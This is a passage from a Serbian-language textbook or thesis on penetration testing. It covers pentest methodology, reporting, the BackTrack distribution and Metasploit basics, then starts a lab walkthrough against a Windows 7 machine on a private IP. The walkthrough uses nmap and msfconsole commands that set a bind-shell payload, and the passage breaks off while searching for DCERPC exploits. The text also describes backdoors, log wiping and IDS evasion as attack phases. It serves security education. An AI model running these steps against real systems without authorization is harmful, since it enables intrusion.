ugovoru izmeĎu etičkog hakera i klijenta, etički haker uništava sve dokumente i podatke koji su

mu koristili u toku datog ispitivanja.

Dalji koraci nakon isporuke izveštaja

Kada etički haker završi procenu i kada je izveštaj isporučen, klijent može da kaže

„Dobro, ako popravim te greške biću potpuno siguran, zar ne?“. Nažalost, nije tako. Ljudi rade

na računarima i mrežama klijenta i prave greške. Sigurnost nije trenutno stanje, već proces. Što

više vremena proĎe od ispitivanja, sigurnost klijenta opada. Deo izveštaja koji uključuje

preporuke koje klijent treba da prati kako bi i u budućnosti smanjio uticaj ovih grešaka.

Veoma je bitno da se klijentu naglasi sledeće : ideja o proceni sigurnosti sistema

„pokušavajući da uĎeš u njega“ veoma je cenjena i prihvaćena, ali ona, sama po sebi, nije

dovoljna. Čak i ako etički haker pomogne klijentu da bolje sagleda celokupnu situaciju i ukaže

mu na smernice za povećanje sigurnosti, do klijenta je da ispoštuje pravila i preporuke da bi se

zaštitio od neželjenog dogaĎaja.

Edger Dijkstra je rekao : „Program testing can be a very effective way to show the

presence of bugs, but is hopelessly inadequate for showing their adsence.“ U prevodu

„Ispitivanje programa može da bude veoma efikasan način za dokazivanje postojanja grešaka, ali

je sasvim neodgovarajuće kada treba pokazati da ih nema.“ Isto važi i za ispitivanje sigurnosti.

Ako ispitivanjem niste pronašli probleme, to ne znači da ih nema. Ispitivanje samo povećava

uverenje da problema ima u prihvatljivoj meri ili da se teško pronalaze.

2. Ispitivanje mogućnosti proboja

U ovom poglavlju ću se za razliku od prethodnog, gde sam se uglavnom bavio etičkim i

pravnim aspektima, baviti uglavnom metodologijom i postupcima ispitivanja. Pre nego što

preĎem na razmatranje ispitivanja mogućnosti proboja, podsetio bih na faze od kojih je sačinjen

uobičajeni hakerski napad na računarsku mrežu :

1. IzviĎanje i popisivanje (eng. survey and assess)

2. Eksploatiši i prodri (eng. exploit and penetrate)

3. Povećaj privilegije (eng. escalate privileges)

4. Održi pristup (eng. maintain access)

5. Odbij uslugu (eng. deny service)

6. Sakrij tragove (eng. hide tracks)

Page 15: Probojno testiranje i ojačanje Windows sistema

Ispitivanje mogućnosti proboja (eng. penetration testing) je metoda ocenjivanja i provere

sigurnosti računarske mreže simulacijom napada koji bi inače obavio zlonamerni haker.

Ispitivanje mogućnosti proboja obuhvata aktivnu analizu sistema u pogledu slabosti, tehničkih

nedostataka i ranjivosti. Analiza se izvodi iz pozicije potencijalnog napadača, odnosno osoba

koja obavlja ispitivanje sebe smešta u poziciju napadača i pokušava da prodre u mrežu i na taj

način otkrije ranjivosti. Kao što je objašnjeno u prethodnom poglavlju, sve što se otkrije tokom

ove analize, izlaže se vlasnicima sistema zajedno sa procenom ranjivosti i predlozima tehničkih

rešenja kako da se te ranjivosti otklone.

Na osnovu količine znanja o ciljnom sistemu ili mreži koje je raspoloživo osobama koje

vrši testiranje, testovi se mogu podaliti na ispitivanje „bele kutije“ (eng. white box) i ispitivanje

„crne kutije“ (eng. black box). Pored ovih termina mogu se koristiti i termini testovi s potpunim

otkrivanjem (eng. full disclosure), delimičnim otkrivanjem (eng. partial disclosure) i takozvani

testovi na „slepo“ (eng. blind test), koji odgovaraju ispitivanju bele, sive i crne kutije. Ispitivanje

crne kutije podrazumeva da se ispitivačima obezbeĎuje kompletno znanje o infrastrukturi koja se

testira, što obuhvata i mrežne dijagrame, izvorni kod i informacije o IP adresiranju. Naravno,

uvek postoje i meĎuvarijacije koje se često zovu ispitivanja „sive kutije“ (eng. grey box). Neki

smatraju da je ispitivanje metodom „crne kutije“ najpribližnije stvarnoj situaciji u kojoj se

najrealnije simuliraju akcije hakera, drugi misle da se time zanemaruje česta situacija da

napadač, koji je odabrao ciljni sistem, najverovatnije zna nešto o sistemu koji namerava da

napadne i da se napadi često odvijaju iznutra ili u saradnji s nekim ko je unutar sistema

(zaposleni na primer). Najčešće je preporučljivo da se uradi scenario najgoreg slučaja i da se

ispitivačima da onoliko informacija koliko oni traže podrazumevajući da će pravi haker već imati

te informacije.

U praksi, usluge koje nude firme za ispitivanje proboja variraju od običnog skeniranja IP

adresnog područja neke firme i traženja otvorenih portova i identifikacije oznaka, do pune

provere i revizije izvornog koda aplikacije. Pre ispitivanja treba uzeti u obzir činjenicu da će

jednostavniji testovi verovatno sprečiti napadača da pomoću nekog jednostavnog skript napada

prodre u sistem i osvoji ga, a da će samo ozbiljniji i sveobuhvatni testovi stvarno povećati stepen

sigurnosti i smanjiti rizik od prodora u sistem.

Najčešći osnovni koraci ispitivanja mogućnosti proboja (slika 2) su sledeći : potpisivanje

ugovora, postavljanje (definisanje) pravila angažovanja, planiranje napada, izvoĎenje napada

(izviĎanje i popisivanje, ostvarivanje pristupa, održavanje pristupa i sakrivanje tragova), pisanje

izveštaja, izlaganje rezultata klijentu (ukazivanje na propuste, planovi za njihovo otklanjanje) i

planovi za nastavak.

Svaki od pomenutih koraka može biti proširen ili detaljnije razraĎen na više drugih

koraka. Navedeni koraci predstavljaju osnovni okvir u kome se napad odvija. Koliko će se

ispitivač zadržati na odreĎenoj fazi zavisi i od načina ispitivanja – ispitivanje crne kutije zahteva

od ispitivača da posveti više vremena prikupljanju informacija, tj. izviĎanju i potpisivanju, nego

u slučaju ispitivanja bele kutije.

Page 16: Probojno testiranje i ojačanje Windows sistema

potpisivanje ugovora

definisanje pravila angažovanja

planiranje napada

izviĎanje i popisivanje

ostvarivanje pristupa

zadržavanje pristupa

prikrivanje tragova

pisanje izveštaja

izlaganje rezultata klijentu

planovi za nastavak

Slika 2 Osnovni koraci ispitivanja mogućnosti proboja

Priprema za ispitivanje

Da biste ispitali mogućnost proboja u računarske sisteme i mreže neophodno je da imate :

Tim. Članovi tima treba da vladaju potrebnim znanjima i veštinama. TakoĎe je

neophodno da članovi tima budu iskusni u ovim poslovima, a poželjno je i da budu

uigrani kao tim. Mnogi klijenti će zahtevati da članovi tima koji vrše testiranje imaju

odreĎene sertifikate i preporuke. TakoĎe, jedan od zahteva koji se često postavlja je da

članovi tima nisu kažnjavani.

Potrebnu opremu i druge resurse. Ovo podrazumeva da oni koji obavljaju ispitivanje raspolažu odreĎenim hardverom, softverom i dodatnom opremom neophodnom za

sprovoĎenje testova. TakoĎe su neophodni i odgovarajući komunikacioni i mrežni putevi.

Vreme. Veoma je bitno odvojiti vreme koje je potrebno za kvalitetno i uspešno ispitivanje. Zlonamernim hakerima je obično na raspolaganju „sve vreme ovog sveta“ i

oni mogu birati trenutak, mesto i način napada. To je bitna prednost hakera, pa je treba

obezbeditit i ispitivačima, ako se želi da imaju približno slične uslove kao zlonamerni

hakeri.

Za bavljenje ovim poslom potrebno je mnogo volje i strpljenja. Mnogi su u početku

veoma zainteresovani jer smatraju ovaj posao zanimljivim i zabavnim (kao što se u holivudskim

Page 17: Probojno testiranje i ojačanje Windows sistema

filmovima prezentuje), a onda shvate da je za uspešno obavljanje ovog posla potrebno mnogo

znanja, veštine, upornosti i ozbiljnosti, pa većina odustane od bavljenja ovim poslom.

Napomena : U jednoj od knjiga iz ove oblasti se naglašava da u ekipi treba imati i člana

koji kuva dobru kafu (eng. coffee expert). Iako zvuči šaljivo, u ovoj preporuci ima istine : naime,

poznato je da ovaj posao zahteva dugotrajne sate rada danju i noću u punoj koncentraciji, a tome

kafa obično pomaže.

Potpisivanje ugovora

Potpisan ugovor o ispitivanju jedan je od najvažnijih preduslova za započinjanje

ispitivanja. Iako često postoji tendencija da se ovaj korak preskoči to nikako nije preporučljivo.

Bez uvogora sve akcije koje se sprovode protiv kompanije klijenta, mogu biti smatrane

zlonamernim, a možda i nelegalnim. Oni koji se bave testiranjem ne bi smeli da dozvole takvu

situaciju jer to značajno može da naruši njihov kredibilitet i ugled. Sve ugovore moraju da

potpišu ovlašćena lica obe firme.

Postavljanje (definisanje) pravila angažovanja

Postavljanje pravila angažovanja pomaže da se definišu detalji kao što su : koliko

informacija će biti na raspolaganju ispitivačima i koji su pristupi i postupci dozvoljeni tokom

testa. TakoĎe, u interesu ispitivača je da ova pravila budu definisana, kako se tokom ispitivanja

ne bi javili problemi i nesporazumi i da se na kraju testiranja ne bi postavilo pitanje što neki

testovi jesu ili nisu uraĎeni, kao i u kojim okolnostima se ispitivanje odvijalo.

Planiranje napada

Tim koji ispituje mogućnosti proboja sprovodi planiranje napada nakon što je definisan

plan angažovanja i u tu svrhu može se obaviti sledeće :

Okupljanje tima za ovu namenu. Na primer, zašto bi angažovali stručnjaka za bežične mreže ako se ispituje ranjivost pristupa kompaniji preko Web servera. Dakle, biraju se

ljudi shodno vrsti mreže koja se ispituje.

Izbor alata za ispitivanje. Ovaj izbor se vrši na isti način kao i izbor tima. Različiti alati se koriste ako želimo da proverimo sigurnost bežične mreže i mreže kojoj se može pristupiti

jedino preko Web lokacije.

Planiranje strategije napada. Pre nego što se otpočne sa napadom, mora se osmisliti

metodičan plan kako će se izvršiti test. Kao početni vodič preporučljivo je koristiti Open-

Source Security Testing Methodology Manuali (OSSTMM).

IzvoĎenje ispitivanja

Obzirom da je ispitivanje mogućnosti proboja veoma slično napadu koji bi obavio haker

sa crnim šeširom, može se zaključiti da potpun test mora da sadrži najmanje sledeće korake :

izviĎanje i popisivanje (prikupljanje osnovnih informacija o ciljnoj mreži, deljenim mrežnim

resursima, korisnicima, grupama, pravima pristupa i specifičnim aplikacijama), ostvarivanje

Page 18: Probojno testiranje i ojačanje Windows sistema

pristupa (prodiranje u sistem ili mrežu), održavanje pristupa (postavljanje zadnjih vrata (eng.

back door) kako bi osoba koja vrši testiranje mogla dalje da eksploatiše sistem) i prikrivanje

tragova (na primer, brisanje dnevničkih datoteka ili pojedinih redova u njima).

IzviĎanje i popisivanje

IzviĎanje je jedna od najznačajnijih faza napada. Stari kineski mudrac i stručnjak za

strategiju ratovanja, Sun Tzu koji je živeo pre oko 2500 godina, zapisao je : „Iskoristite

nespremnost neprijatelja, koristite neočekivane puteve i načine napada i napadnite neobezbeĎene

tačke.“ Ova mudrost i dan danas važi, a može se iskoristiti i pri napadu na ruĎi računarski sistem

ili mrežu.

IzviĎanje se sastoji od postupaka traženja i isprobavanja kojima se dolazi do podataka o

sistemima, otvorenim portovima i aplikacijama koje rade na tim sistemima. Iako ispitivači

proveravaju sigurnost mreže, oni obično nemaju taj luksuz u pogledu vremena koje je na

raspolaganju zlonamernim hakerima, oni su veoma svesni značaja izviĎanja i snimanja situacije.

IzviĎanje se može smatrati uspešnim ako ispitivač uspe da prikupi najmanje sledeće informacije :

IP adrese servera i ciljne mreže

Pristupne UDP i TCP portove na ciljnom sistemu

Operativni sistemi na ciljnim mašinama

Zlonamerni hakeri obraćaju posebnu pažnju na izviĎanje i prikupljanje podataka o cilju,

što je prvi korak efikasnog napada. Njima je veoma značajno da vide „šta je s one strane brda“,

što je ključno za odlučivanje koji tip napada da lansiraju. Na primer, napadi koji eksploatišu

UNIX-ove slabosti nemaju smisla ako je ciljna mreža zasnovana na Microsoft serverima. Malo

vremena utrošenog na istraživanje i skeniranje ciljne mreže i servera, kojim će se utvrditi koji

operativni sistem je na drugoj strani, uštedeće puno vremena za dalji napad kojim se pokušava

provaljivanje u sistem. Zlonamerni haker će verovatno istražiti ove brojne i druge detalje, možda

i nedeljama ili čak mesecima pre nego što pokuša da provali u tuĎu mrežu.

Postoje dve različite metode otkrivanja računara i sistema na ciljnoj mreži :

1. Pasivno izviĎanje. Pasivno izviĎanje služi za prikupljanje podataka iz otvorenih izvora.

Otvoren izvor znači da su informacije slobodno raspoložive javnosti. Da napomenem,

traženje otvorenih informacija je potpuno legalno. Preduzeće može učiniti vrlo malo ili

ništa da spreči otvaranje i objavljivanje ovih informacija. Primeri otvorenih izvora

informacija su kompanijska Web lokacija, EDGAR baza (Electronic Data Gathering,

Analysis and Retrieval), grupe za distribuciju vesti i diskusione grupe, poslovni partneri,

kopana po smeću (eng. dumpster diving) i poslednje, ali ne i najmanje značajan društveni

inženjering.

2. Aktivno izviĎanje. U ovu metodu, nasuprot pasivnom, uključeno je korišćenje

tehnologije na način na koji ciljna kompanija možda može otkriti. Aktivno izviĎanje se

može obaviti DNS upitima, posebnim ping alatima, praćenjem rute paketa, skeniranjem

portova i odreĎivanjem operativnog sistema (eng. fingerprinting). Nakon prikupljanja

informacija crta se mrežni dijagram na kome se naznačuju računari, otvoreni UDP i TCP

portovi (koji uslovno ukazuju na mrežne servise i aplikacije koje se izvršavaju na

računarima) i odgovarajući operativni sistemi. Na osnovu rezultata izviĎanja napadač

Page 19: Probojno testiranje i ojačanje Windows sistema

polako formira ideju o napadu koji će izvesti. Za ovu metodu popisivanja koriste se razni

softverski alati poput : Nmap, Nessus, Ethereal, SAINT, Tcpdump, Superscan i njima

slični.

IzviĎanje takoĎe može dovesti do otkrivanja korisničkih naloga i deljenih resursa na

računarskim sistemima. Neki ispitivači posebno skeniraju računare i portove, a onda u posebnom

delu istraživanja popisuju ostale podatke o sistemu ili mreži.

Ostvarivanje pristupa

Ovo je najuzbudljiviji zadatak i obično se na njega troši najviše vremena. Ispitivaču se

ponekad može posrećiti da jednostavno upadne u ispitivani sistem ili mrežu, ali je to mnogo

češće dugotrajan proces. Ponekad se ovaj pokušaj može završiti neuspešno, što je dobra vest za

klijenta. Pristup mreži se može ostvariti na nekoliko načina, a neki od najčešće korišćenih su :

preko Interneta, modemski pristup (preko telefonskih linija), društveni inženjering, napad na

bežičnu mrežu koja je deo kompanijske mreže, napadi neželjenom poštom (SPAM), korišćenje

trojanaca i kopanje po smeću. Jedan tip napada za ostvarivanje pristupa koji se obavlja preko

Interneta jeste ostvarivanje pristupa i povećanje prava na računaru na kome je Web lokacija

(kojise najčešće nalazi u DMZ mreže). Preko ovog računara se dalje pristupa serverima baza

podataka ili drugim serverima koji se nalaze u privatnoj mreži. Još jedan od mogućih napada koji

služe za ostvarivanje pristupa, a izvršavaju se preko Interneta jeste kraĎa sesije (slika 3).

Slika 3 KraĎa sesije

Održavanje pristupa

Nakon što tim za testiranje uspe da pristupi ciljnom sistemu, može se ukazati potreba da

se mogućnosti pristupa održava neko vreme, kako bi se izvršilo još dodatnih ispitivanja. Zato je

potrebno postaviti program koji otvara „zadnja vrata“ koja će omogućiti kasnije akcije i

ispitivanja. Time se takoĎe simulira situacija u kojoj su „zadnja vrata“ otvorili zlonamerni hakeri

kako bi mogli da izvedu više napada u odreĎenom vremenskom periodu. Uzgredna korist je i to

Page 20: Probojno testiranje i ojačanje Windows sistema

što će pokušaj instaliranja zlonamernog softvera pokazati sposobnost ciljne mreže i njenog

sistema odbrane da otkriju postojanje zlonamernog softvera ovog tipa.

Pre nego što se počne sa postavljanjem trojanaca ili zadnjih vrata, potrebno je da se o

tome dogovori sa klijentom i da to bude deo ugovora. Savet je da se klijent ohrabri da prihvati

ovu opciju testiranja zato što je ona sastavni deo mnogih napada. Ako se postigne dogovor za

korišćenje trojanaca ili zadnjih vrata, potrebno je biti pažljiv u izboru alata koji se koriste. Glavni

problem kod ovakvih programa je što se većina širi po mreži i ukoliko se postavi takav program

na ciljni računar prouzrokovaće se haos na serverima i korisničkim računarima. Što se ispitivanja

tiče ovo je ok, ukoliko se ne ispituje proboj na sistemu koji se koristi u regularnom poslovanju, u

suprotnom ova opcija ne dolazi u obzir.

Prikrivanje tragova

U ovom koraku ispitivači mogućnosti proboja pokušavaju da očiste sve tragove napada,

upravo na onaj način kako bi to iskusni haker uradio. Najjednostavniji oblik skrivanja tragova

jeste brisanje odgovarajućih zapisa iz dnevničkih datoteka. MeĎutim, niko ne može garantovati

da će administrator sistema pregledati te datoteke tek kada se završi sa napadom i kada se

prikriju tragovi. Ukoliko administrator primeti uljeza u toku napada, postoji mogućnost da

postavi restriktivnija pravila mrežne barijere i sistema za detekciju upada ili jednostavno odseče

mrežu sa Interneta i tako spreči dalji napad. To znači da tragove treba čistiti u toku ispitivanja.

Značajnu pomoć u ovom delu testa pružaju rootkit alati. Oni ispitivaču mogu pomoći da pristupi

ciljnoj računarskoj mreži, da ostane neprimećen odreĎeno vreme i da na kraju ostavi sve za

sobom onako kkao je i bilo.

Pisanje izveštaja i ukazivanje na propuste

Nakon ispitivanja, tim će sakupiti sva otkrića u jedan dokument koji se predaje klijentu.

Iako ovo može zvučati kao jednostavan zadatak, za očekivati je da će on oduzeti dosta vremena

(možda čak i onoliko koliko je utrošeno na samo ispitivanje). Klijent će obično zadržati kopiju

ovog izveštaja i prezentacije rezultata ispitivanja, s mogućnošću da kasnije postavi i dodatna

pitanja ili zatraži dodatne testove u pojedinim područjima.

Izveštaj u najmanju ruku mora da sadrži sledeće stavke :

Izvršni rezime (eng. executive summary) treba da sadrži ciljeve, metodologiju, ono što je pronaĎeno, a zatim sažetak izveštaja u pisanoj i grafičkoj formi.

Opseg projekta. Ovde se opisuje sve što je trebalo uraditi pri ispitivanju klijentovog računarskog sistema, mreže i informacionog sistema. Popisani su svi delovi sistema koje

treba ispitati, koje provere treba obaviti, na koji način će testovi biti izvršeni i ograničenja

kojih se treba pridržavati prilikom ispitivanja da se ne bi narušile osnovne funkcije

kompanije ili organizacije.

Analizu rezultata. Sva izvršena ispitivanja rezultati analiziraju se kako bi se protumačili

predstavljeni rezultati i predočili uočeni problemi ili moguće posledice. Ponekad sami

rezultati ne ukazuju direktno na slabosti i moguće ranjivosti sistema, pa je nužno da se u

ovom delu analiziraju i predoče mogući problemi i da se klijent uputi na mere koje treba

da preduzme.

Page 21: Probojno testiranje i ojačanje Windows sistema

Sažetak treba da sadrži ukratko pregled otkrića, tj. šta je tokom ispitivanja pronaĎeno i zaključeno u pogledu sigurnosti na osnovu najvažnijih testova i njihovih rezultata.

Obično se ta otkrića izražavaju u vidu klasifikacije po nivou sigurnosnog rizika na :

nizak, srednji, visok i kritičan nivo rizika.

Priloge. Oni sadrže detaljne opise rezultata, a ponekad se navode i korišćeni alati,

listinzi, snimci ekrana, fotografije, dnevničke zabeleške, objašnjenja procedura rada i

slični elementi koji dokumentuju i dokazuju izvršene testove i njihove rezultate. Sami

detalji tehnike ispitivanja (po mnogim autorima i istaknutim stručnjacima za ovu oblast)

ne bi trebalo nikada da se otkrivaju, zato što osoba koja predaje izveštaj ne može da bude

sigurna ko će sve da doĎe u posed tog dokumenta kada on izaĎe iz ruku klijenta.

Savet je da se izveštaj obavezno preda isključivo ovlašćenim licima klijenta i to u

štampanoj formi. Nije preporučljivo da se izveštaj predaje ili šalje u elektronskoj formi ili

elektronskom poštom, jer se time rizikuje da će on iscureti u javnost, što nikako nije dobro ni za

kompaniju koja ispituje sistem, a još manje za klijenta. Kompanija koja obavlja ispitivanje treba

da posle završenog posla uništi svu dokumentaciju i podatke vezane za to ispitivanje, uključujući

sve faze i krajnje izveštaje. Ovo je mera predostrožnosti od mogućeg curenja podataka i

odgovornosti koja povodom toga može da nastupi.

Ukazivanje na propuste i dalji koraci

Nakon prezentovanja izveštaja, sledeći korak je razmatranje sigurnosne politike. Svaka

ranjivost koja je pronaĎena na mreži ispitivane organizacije postoji zato što ili organizacija ne

sledi sigurnosnu politiku ili zato što neka važna komponenta nedostaje u sigurnosnim pravilima.

Nakon što tim završi sa ispitivanjem i prezentovanjem rezultata klijentu, treba planirati

nastavak, tj. redovno ispitivanje u budućnosti, kako bi se osiguralo da klijent ne postane ranjiv

usled problema vezanih za sigurnost koji se mogu naknadno pojaviti. Dakle, mora se imati u

vidu da sigurnost nije završno stanje već da su računarski sistemi i mreže predmet konstantnog

interesa zlonamernih hakera, konkurencije, špijunaže i drugih zlonamernih koji će neprekidno

pokušavati da otkriju slabosti i zloupotrebe ih.

U tom smislu je potrebno konstantno unapreĎivati metode, tehnike i tehnologiju, a takoĎe

i politike i procedure zaštite. Ispitivanje mogućnosti proboja jedan je od značajnih elemenata

sigurnosti, tj. provere efikasnosti celog sistema sigurnosti računarskih sistema i mreža.

Page 22: Probojno testiranje i ojačanje Windows sistema

3. BackTrack Linux

BackTrack je Live DVD Linux distribucija koja je stvorena konkretno za ispitivanje

mogućnosti proboja. Obzirom da je Live distribucija, BackTrack se može koristiti direktno sa

DVD-a, USB-a, mreže ili RAM-a bez ikakvih instalacija i nezavisna je od hardvera koji je u

upotrebi. BackTrack je nastao spajanjem tri dobro poznate sigurnosne distribucije – IWHAX,

WHOPPIX i Auditor.

Svrha BackTrack-a

Ova distribucija sadrži preko 300 različitih

alata koji se mogu koristiti za testiranje mogućnosti

proboja. Ti alati su kategorisani na sledeći način :

Prikupljanje informacija (eng. Information

gathering) : Ova kategorija sadrži nekoliko

alata koji se mogu koristiti za prikupljanje

informacija o DNS-u, načinima rutiranja,

e-mail adresama, Web stranicama, mail

serverima itd. Ove informacije se sakupljaju

putem dostupnih informacija sa Interneta bez

diranja ciljnog računara.

Mapiranje mreže (eng. Network mapping) : Ova kategorija sadrži alate koji se koriste kako

bi se proverio „živi“ računar, saznao koji

operativni sistem se nalazi na ciljnom

računaru, koje aplikacije se koriste na tom

računaru kao i da se skeniraju portovi.

Identifikacija slabosti (eng. Vulnerability identification) : U ovoj kategoriji se mogu naći

alati za skeniranje slabosti generalno kao i za

Cisco ureĎaje. Tu se takoĎe nalaze alati koji mogu da izvrše analizu protokola Server

Message Block (SMB) i Simple Network Management Protocol (SNMP).

Analiza Web aplikacija (eng. Web application analysis) : Ovde se nalaze alati za

reviziju i nadgledanje Web aplikacija.

Analiza radio mreža (eng. Radio network analysis) : Ova kategorija služi za nadgledanje bežičnih mreža, bluetooth-a i RFID-a (Radio Frequency Identifier).

Proboj (eng. Penetration) : Ovde se nalaze alati koji se mogu koristiti za iskorišćavanje slabosti koje su prethodno pronaĎene na ciljnom računaru.

Povećanje privilegija (eng. Privilege escalation) : Nakon iskorišćavanja slabosti i ostvarivanja pristupa na ciljnoj mašini, mogu se koristiti alati iz ove kategorije kako bi se

povećale privilegije na tom računaru na maksimalan nivo.

Održavanje pristupa (eng. Maintaining access) : Alati iz ove kategorije nude pomoć pri

održavanju pristupa na računaru nad kojim je prethodno dobijena kontrola. Pre instalacije

ovih alata bi trebalo imati najveće privilegije na ciljnoj mašini.

Page 23: Probojno testiranje i ojačanje Windows sistema

VOIP (eng. Voice Over IP) : Za analizu VOIP-a mogu se koristiti alati iz ove kategorije.

Digitalna forenzika (eng. Digital forensics) : U ovoj kategoriji se mogu naći alati koji se

mogu koristiti prilikom izvršavanja digitalne forenzike nad oštećenim hard diskovima i

datotekama. Za korišćenje alata iz ove kategorije neophodno je prethodno u boot meniju

izabrati Start BackTrack Forensics. Neke praktične forenzičke procedure zahtevaju da se

datoteke na hard disku prebace u read-only mod kako bi se sačuvao integritet podataka

koji mogu predstavljati dokaze.

Obrnuti inženjering (eng. Reverse engineering) : Ova kategorija sadrži alate koji služe za otklanjanje grešaka (eng. debug) u programima ili za rastavljanje izvršne datoteke.

Metasploit Framework

Kada se pomene izraz „alat za probojno testiranje“ prvo na šta mnogi ljudi pomisle je

najveći svetski Ruby projekat sa preko 700 000 linija koda – Metasploit. Ovaj okvir za probojno

testiranje je stekao status de-facto standarda činjenicom da ima preko milion jedinstvenih

preuzimanja godišnje. Kreiran 2003. od strane Metasploit LLC-a inicijalno je bio napisan u

programskom jeziku Perl, a kasnije je „prepisan“ u programski jezik Ruby. Najsvežije izdanje

Metasploita podiže testiranje preuzimanja kontrole i iskorišćavanja na sasvim nov nivo, što je sa

tržišta izguralo njihove komercijalne konkurente povećanjem brzine izvršenja i „smrtonosnosti“

koda.

Metasploit okvir prati par osnovnih koraka za eksploatisanje sistema, a neki od njih su :

1. Odabiranje i konfigurisanje exploita koji će se koristiti. Ovo je u stvari kod koji će se

koristiti na ciljnom sistemu sa namerom da se iskoriste defekti u softveru.

2. Provera da li je ciljani sistem podložan izabranom exploitu.

3. Odabiranje i konfigurisanje paketa (eng. payload) koji će biti korišćen. Ovaj paket

predstavlja kod koji će se upotrebiti nad sistemom nakon što se u sistemu naĎe slaba

tačka i postavi ulazna tačka.

4. Odabiranje i konfigurisanje šeme kodiranja koja će se koristiti kako bi se obezbedilo da

paket s lakoćom izbegne IDS (Intrusion Detection System).

5. Izvršenje exploita.

Metasploit je besplatan alat koji se lako može preuzeti sa Interneta, razvijati i uz pomoć

njega se mogu vršiti napadi koji eksploatišu softverske propuste. U paketu stiže sa

profesionalnim exploit napadima za hiljade poznatih softverskih propusta. Objavljivanje

Metasploita 2003. je zauvek promenilo scenu računarske sigurnosti. Odjednom, svako je mogao

da postane haker i svako je imao pristup exploitima za nezakrpljene i skoro zakrpljene slabosti.

Izdavači softvera više nisu mogli da odugovlače pri krpljenju javno objavljenih slabosti jer je

Metasploit ekipa naporno radila u razvijanju exploita koji su bili dostupni svim Metasploit

korisnicima.

Page 24: Probojno testiranje i ojačanje Windows sistema

Rad sa Metasploitom

Metasploit je jednostavan za korišćenje, dizajniran sa željom da se olakša rad

ispitivačima probojnosti. Ovde ću ga koristiti iz BackTrack 5 obzirom da ova distribucija ima

sve potrebne biblioteke za korišćenje ovog alata. Metasploit okvir ima tri radna okruženja –

msfconsole, msfcli i msfweb. Najčešće se, ipak, koristi msfconsole. To je efikasan

interfejs koji se koristi preko komandne linije i ima sopstveni set komanti i sistem okruženja.

Pre nego što izvršimo neki exploit korisno je napomenuti šta neke komande rade. Ovde

sam naveo nekoliko komandi koje se najčešće koriste :

1. search <keyword> : Kucanjem komande „search“ zajedno sa ključnom reči koju

želimo da pronaĎemo izlistavaju se razni mogući exploit-i koji sadrže tu ključnu reč.

2. show exploits : Unosom ove komande se prikazuju trenutno dostupni exploit-i.

Postoje razni exploit-i za različite platforme i aplikacije u koje spadaju i Windows,

Linux, IIS, Apache itd. koji pomažu pri testiranju fleksibilnosti kao i u razumevanju kako

Metasploit radi.

3. show payloads : Uz pomoć iste „show“ komande možemo videti koji su nam paketi

raspoloživi.

4. show options : Unosom ove komande se prikazuju opcije koje smo podesili i one

koje smo možda zaboravili da podesimo. Svaki exploit i paket imaju svoj sopstveni set

opcija.

5. info <type> <name> : Ako želimo informacije za specifičan exploit ili paket to

možemo dobiti unosom „info“ komande. Na primer, ako želimo sve informacije o

paketu „winbind“ možemo koristiti komandu „info payload winbind“.

6. use <exploit_name> : Ova komanda govori Metasploitu da upotrebi exploit sa

naznačenim imenom.

7. set RHOST <hostname_or_ip> : Ova komanda govori Metasploitu da “gaĎa”

navedeni udaljeni računar.

8. set RPORT <host_port> : Ovom komandom se postavlja port preko kojeg će se

Metasploit povezati na udaljeni računar.

9. set PAYLOAD <generic/shell_bind_tcp> : Ova komanda postavlja paket

koji je u upotrebi na generički paket koji će nam dati shell konzolu kada je sistem

uspešno eksploatisan.

10. set LPORT <local_port> : Ovom komandom se postavlja broj porta koji će biti

otvoren na serveru kada se uspešno ostvari pristup serveru. Jako je bitno da ovaj broj

porta bude port koji se može otvoriti na serveru, odnosno da nije u upotrebi od strane

nekog servisa i da nije rezervisan za administrativnu upotrebu. Zbog toga, taj broj bi

trebao da bude slučajan četvorocifreni broj veći od 1024. Ovaj broj bi trebalo promeniti

svaki put kada se uspešno eksploatiše neki servis.

11. exploit : Ova komada izvršava eksploatisanje servisa. Druga verzija exploit-a je

rexploit koja ponovo učitava kod vašeg exploit-a, a zatim ga i izvršava. Ova komanda

omogućava da se isprobaju male prepravke u kodu exploit-a bez resetovanja konzole.

12. help : Ova komanda daje osnovne informacije o svim komandama koje nisu izlistane.

Page 25: Probojno testiranje i ojačanje Windows sistema

Sada smo spremni da da iskoristimo sve osnovne komande kako bismo pokrenuli neki

exploit, tako da ću sad prikazati kako da se preuzme kontrola nad udaljenim računarom koristeći

gore navedene komande.

Scenario je sledeći :

Ciljana mašina

OS : Microsoft Windows 7 Professional

IP : 192.168.1.100

Mašina sa koje se vrši napad

OS : BackTrack 5

Verzija Metasploita : metasploit v3.7.0-release [core:3.7 api:1.0]

IP : 192.168.48.188

Cilj

Jedina dostupna informacija o udaljenom računaru je da je na njemu instaliran operativni sistem

Windows 7 i cilj nam je da dobijemo pristup shell konzoli ovog udaljenog računara.

Koraci koje treba preduzeti kako bi se ostvario ovaj cilj su sledeći :

Prvi korak Izvodimo skeniranje udaljenog računara 192.168.1.100 korišćenjem alata Nmap. Ovako

saznajemo koji su portovi otvoreni na udaljenom računaru (slika 1).

Slika 1. Skeniranje otvorenih portova putem Nmap-a

Page 26: Probojno testiranje i ojačanje Windows sistema

IzmeĎuostalih primećujemo da je port 135 otvoren. Sada možemo potražiti skripte u

Metasploitu uz pomoć kojih ćemo ostvariti pristup shell konzoli ako je udaljeni računar ranjiv.

Drugi korak

Sada pokrećemo Metasploit interfejs :

Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit

Framework > msfconsole

Slika 2. Pokretanje msfconsole

Prilikom inicijalizacije konzole odvijaju se standardne provere. Ako sve radi kako treba

trebalo bi da se prikaže ekran kao na slici 3.

Slika 3. Metasploit konzola

Page 27: Probojno testiranje i ojačanje Windows sistema

Treći korak Pošto znamo da je port 135 otvoren, sada tražimo odgovarajući RPC exploit u

Metasploitu. Kako bismo izlistali sve podržane exploit-e u Metasploitu koristimo „show

exploits“ komandu. Deo te liste se nalazi na slici 4.

Slika 4. Deo liste dostupnih exploit-a

Metasploit okvir dolazi sa preko 650 exploit-a i preko 200 paketa, što je veoma

impresivno, ali zato traženje specifičnog exploit-a sa ove liste može da se ispostavi kao veoma

težak zadatak. Zato ćemo koristiti bolju opciju. Možemo posetiti Web stranicu

http://metasploit.com/modules/ ili možemo koristiti komandu „search <keyword>” unutar

Metasploita kako bismo našli odgovarajuće RPC exploit-e. S toga, u „msfconsole” kucamo

search dcerpc kako bismo pretražili sve exploit-e koji sadrže dcerpc ključnu reč, pošto se

taj exploit može koristiti za dobijanje pristupa putem porta 135 na udaljenom računaru.

Pretražena lista je prikazana na slici 5.

